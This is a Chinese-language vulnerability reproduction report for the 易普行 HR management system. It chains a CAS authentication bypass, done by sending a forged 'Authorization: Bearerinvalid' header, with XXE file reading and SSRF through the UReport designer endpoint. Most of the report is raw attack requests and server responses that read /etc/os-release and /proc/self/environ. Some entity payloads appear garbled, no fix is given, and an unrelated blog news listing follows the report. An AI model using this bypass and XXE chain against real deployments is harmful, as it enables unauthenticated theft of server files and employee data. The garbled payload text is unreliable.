易普行人事管理系统 CAS认证绕过与XXE任意文件读取
一 概述易普行系统CAS认证链中存在信任边界不一致缺陷。第一层Filter在Token校验失败后对非通用API仍继续放行第二层Filter仅检查Authorization头是否非空而不校验其有效性。攻击者通过伪造Authorization: Bearerinvalid头即可绕过CAS认证到达受保护的UReport报表设计器接口/designer/savePreviewData该接口使用dom4j SAXReader解析XML且未禁用外部实体导致XXE任意文件读取。漏洞接口/epxing-frame/designer/savePreviewData、/epxing-frame/designer/loadReport影响组件CAS/SSO认证Filter链 UReport报表设计器dom4j SAXReader攻击条件目标运行易普行系统且designer接口在线无需任何有效凭据名词解释CASCentral Authentication Service中央认证服务一种企业级单点登录SSO协议。用户在一个中心认证服务器完成登录后获得Service Ticket各应用系统通过验证Ticket实现免重复登录。SSOSingle Sign-On 单点登录机制用户在身份提供方完成一次认证后可访问所有互信的服务提供方无需重复登录。Filter Chain过滤器链Java Servlet规范中的请求拦截机制。多个Filter按顺序组成链式结构每个Filter可在请求到达Servlet前或响应返回后执行逻辑。信任边界Trust Boundary安全架构中不同组件之间对数据可信度假设的分界线。当两个组件对同一数据的信任假设不一致时即产生信任边界缺陷。XXEXML External Entity InjectionXML外部实体注入漏洞。XML规范允许通过DTD定义外部实体当XML解析器处理包含恶意外部实体定义的XML时会读取本地文件、发起网络请求或执行其他危险操作。DTDDocument Type Definition文档类型定义XML规范中用于定义XML文档结构和实体声明的语言。XXE攻击通过在DTD中声明!ENTITY name SYSTEM file:///path定义外部实体。dom4j SAXReaderdom4j是Java生态中常用的XML解析库。SAXReader是其提供的基于SAX的XML读取器。默认配置下未禁用外部实体解析。UReport一款Java开源报表引擎支持可视化设计报表模板。易普行系统集成了UReport其设计器接口/designer/savePreviewData接收XML格式的报表预览数据。OOBOut-of-Band带外数据外泄技术。当漏洞无法通过HTTP响应直接获取数据时利用服务器发起的带外请求将数据发送到攻击者控制的外部接收器。Authorization Bearer TokenHTTP认证方案Bearer Token是OAuth 2.0/RFC 6750中定义的令牌类型。正常流程中服务端验证Token有效性本漏洞中仅检查头是否非空。二 复现1 侦查阶段确认接口暴露请求GET /epxing-frame/designer/loadReport HTTP/1.1Host: x.x.x.x响应HTTP/1.1 200 OKServer: nginxContent-Type: application/json{“msg”:“Report [preview] not support.”,“code”:500}分析接口存在且返回业务错误非404说明/designer/*路由在线。2 CAS认证绕过验证攻击请求POST /epxing-frame/designer/loadReport HTTP/1.1Host: x.x.x.xAuthorization: BearerinvalidContent-Type: application/x-www-form-urlencodedConnection: closefilepreview响应HTTP/1.1 200 OKServer: nginxContent-Type: application/json{“msg”:“Report [preview] not support.”,“code”:500}分析响应状态码200且返回Spring Boot JSON错误非302重定向至CAS登录页证明请求已穿越两层Filter到达后端Controller层CAS认证已被绕过。3 XXE注入 — 读取存在的文件攻击请求POST /epxing-frame/designer/savePreviewData HTTP/1.1Host: x.x.x.xAuthorization: BearerinvalidContent-Type: application/x-www-form-urlencodedConnection: closefilepreviewcontent?xml version1.0 encodingUTF-8?]xxe;响应HTTP/1.1 200 OKServer: nginxContent-Type: application/json{“msg”:“success”,“code”:200}分析响应{“msg”:“success”,“code”:200}表明SAXReader成功解析了XML并读取了/etc/os-release文件。4 XXE注入 — 读取不存在的文件对比验证攻击请求POST /epxing-frame/designer/savePreviewData HTTP/1.1Host: x.x.x.xAuthorization: BearerinvalidContent-Type: application/x-www-form-urlencodedConnection: closefilepreviewcontent?xml version1.0 encodingUTF-8?]xxe;响应HTTP/1.1 200 OKServer: nginxContent-Type: application/json{“msg”:“org.dom4j.DocumentException: /etc/nonexistent_file (No such file or directory)”,“code”:500}分析错误消息直接证明SAXReader尝试在服务器上打开/etc/nonexistent_file文件。对比存在文件返回success和存在文件返回错误差异行为构成完整的XXE触发证据链。5 XXE注入 — 读取二进制文件内容确认攻击请求POST /epxing-frame/designer/savePreviewData HTTP/1.1Host: x.x.x.xAuthorization: BearerinvalidContent-Type: application/x-www-form-urlencodedConnection: closefilepreviewcontent?xml version1.0 encodingUTF-8?]xxe;响应HTTP/1.1 200 OKServer: nginxContent-Type: application/json{“msg”:“org.dom4j.DocumentException: … An invalid XML character (Unicode: 0x0) was found …”,“code”:500}分析/proc/self/environ包含大量null字节键值对以\0分隔。错误消息An invalid XML character (Unicode: 0x0)表明文件内容已被读入XML解析流程因包含null字节导致解析失败。证明文件内容确实被读取。6 HTTP OOB — 服务器发起外部HTTP请求攻击请求POST /epxing-frame/designer/savePreviewData HTTP/1.1Host: x.x.x.xAuthorization: BearerinvalidContent-Type: application/x-www-form-urlencodedConnection: closefilepreviewcontent?xml version1.0 encodingUTF-8?]xxe;响应HTTP/1.1 200 OKServer: nginxContent-Type: application/json{“msg”:“org.dom4j.DocumentException: Error on line 6 of document http://x.x.x.x/epxing-frame/designer/loadReport … The element type “hr” must be terminated by the matching end-tag “” …”,“code”:500}分析错误消息中出现The element type “hr”HTML标签证明服务器按外部实体声明发起了HTTP请求并获取了响应内容一个HTML页面因HTML非合法XML而报错。同时确认XXE可触发SSRF服务器端请求伪造。三 流程图正常业务流程攻击流程图

相关新闻

Codex换肤实战:从原理到实践,打造个性化开发环境

Codex换肤实战:从原理到实践,打造个性化开发环境

最近在折腾一些开发工具时,发现很多开发者对 Codex 的默认界面感到审美疲劳,但又苦于官方没有提供直接的皮肤更换功能。其实,通过一些“非官方”但行之有效的方法,我们完全可以实现自定义 Codex 的外观。本文将为你揭秘一套完整的…

2026/10/17 13:53:46 阅读更多 →
晶振负载电容设计:原理、计算与PCB布局实战指南

晶振负载电容设计:原理、计算与PCB布局实战指南

在实际硬件电路设计中,晶振是几乎所有数字系统的“心脏”,它为微控制器、处理器、FPGA等提供精准的时钟基准。然而,很多初学者,甚至一些有经验的工程师,在绘制原理图时,会习惯性地在晶振两端各放置一个电容…

2026/10/17 13:54:00 阅读更多 →
机器学习入门:从零构建认知框架与实践路径

机器学习入门:从零构建认知框架与实践路径

1. 机器学习入门:从零开始的认知框架 第一次接触机器学习时,我被各种算法名词和数学公式轰炸得晕头转向。直到在Kaggle上完成第一个完整项目后,才真正理解这个领域的核心逻辑。机器学习本质上是通过数据自动发现规律的工具箱,而不…

2026/10/19 20:24:37 阅读更多 →

最新新闻

2026 最新抖音 SEO 推广全攻略,吃透抖音 SEO 视频排名逻辑

2026 最新抖音 SEO 推广全攻略,吃透抖音 SEO 视频排名逻辑

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 20:50:01 阅读更多 →
菲涅尔衍射模型解析WiFi呼吸检测:从原理到工程实践

菲涅尔衍射模型解析WiFi呼吸检测:从原理到工程实践

1. 从光学衍射到无线感知:这个项目到底在做什么 菲涅尔衍射和WiFi呼吸检测,乍一看是两个八竿子打不着的领域。一个是光学课本里的经典波动光学内容,一个是近几年火起来的无线感知应用。但把这两个东西放在一起,恰恰说明了一个很有…

2026/10/19 20:48:59 阅读更多 →
西门子1200与FactoryIO机械手仿真:状态机实现虚拟调试全流程

西门子1200与FactoryIO机械手仿真:状态机实现虚拟调试全流程

做工业自动化调试,最怕设备还没到场、程序就得交付;最怕机械没接线、电气没上电,写好的逻辑只能在脑子里跑。我前阵子捣鼓的一套FactoryIO机械手仿真取料程序,算是把这个困局撕开了一个口子:FactoryIO提供虚拟车间&…

2026/10/19 20:48:59 阅读更多 →
图表设计实战指南:从认知到维护的完整方法论

图表设计实战指南:从认知到维护的完整方法论

1. 从"diagram-design"这个标题能读出什么 第一次看到"diagram-design"这个标题,我的直觉是:这大概率不是一个单纯的"画图工具推荐"或者"设计规范文档",而是一个把 图表设计 这件事当成一个完整工…

2026/10/19 20:46:54 阅读更多 →
图表设计方法论:从沟通逻辑到视觉规范的完整实践指南

图表设计方法论:从沟通逻辑到视觉规范的完整实践指南

1. 图表设计:从“画出来”到“讲清楚”这些年我看了不少技术文档、项目方案和系统说明,发现一个共性问题:大部分人根本不把图表当“设计”来做,而是当“画图”来应付。打开绘图工具,拖几个方框,连几条线&am…

2026/10/19 20:43:51 阅读更多 →
Python+Vue游戏装备交易商城系统:架构设计与实战全解析

Python+Vue游戏装备交易商城系统:架构设计与实战全解析

“基于PythonVue的游戏装备交易商城系统”这个标题,我太熟了。这几乎是每一届想做点东西但又不想只写个管理系统的同学都会碰到的题,也是后台私信里被问得最多的项目类型之一。但说句实话,真正把“交易”两个字做明白的,十个里可能…

2026/10/19 20:42:50 阅读更多 →

日新闻

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

简介:本资源为电源技术方向的学术研究文档,聚焦介质阻挡放电型臭氧发生器电源的频率跟踪型PWM控制策略,面向电力电子、高压电源及臭氧应用领域的科研人员与工程技术人员。针对负载呈容性、等效电容随外加电压升高而增大、谐振频率随之漂移的难…

2026/10/19 0:00:47 阅读更多 →
Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 0:00:47 阅读更多 →
HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

【免费下载链接】HundredCV-Chat 项目地址: https://ai.gitcode.com/hf_mirrors/Jax-dan/HundredCV-Chat 点击查看 免费下载 HundredCV-Chat 是一个由 100 位青年简历数据开发而来的中文多轮对话数据集,共包含 24,750 组日常闲聊对话和 4,871 个话题标签…

2026/10/19 0:00:47 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/19 10:02:04 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/19 17:32:41 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/19 1:30:52 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 2:54:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 9:10:22 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →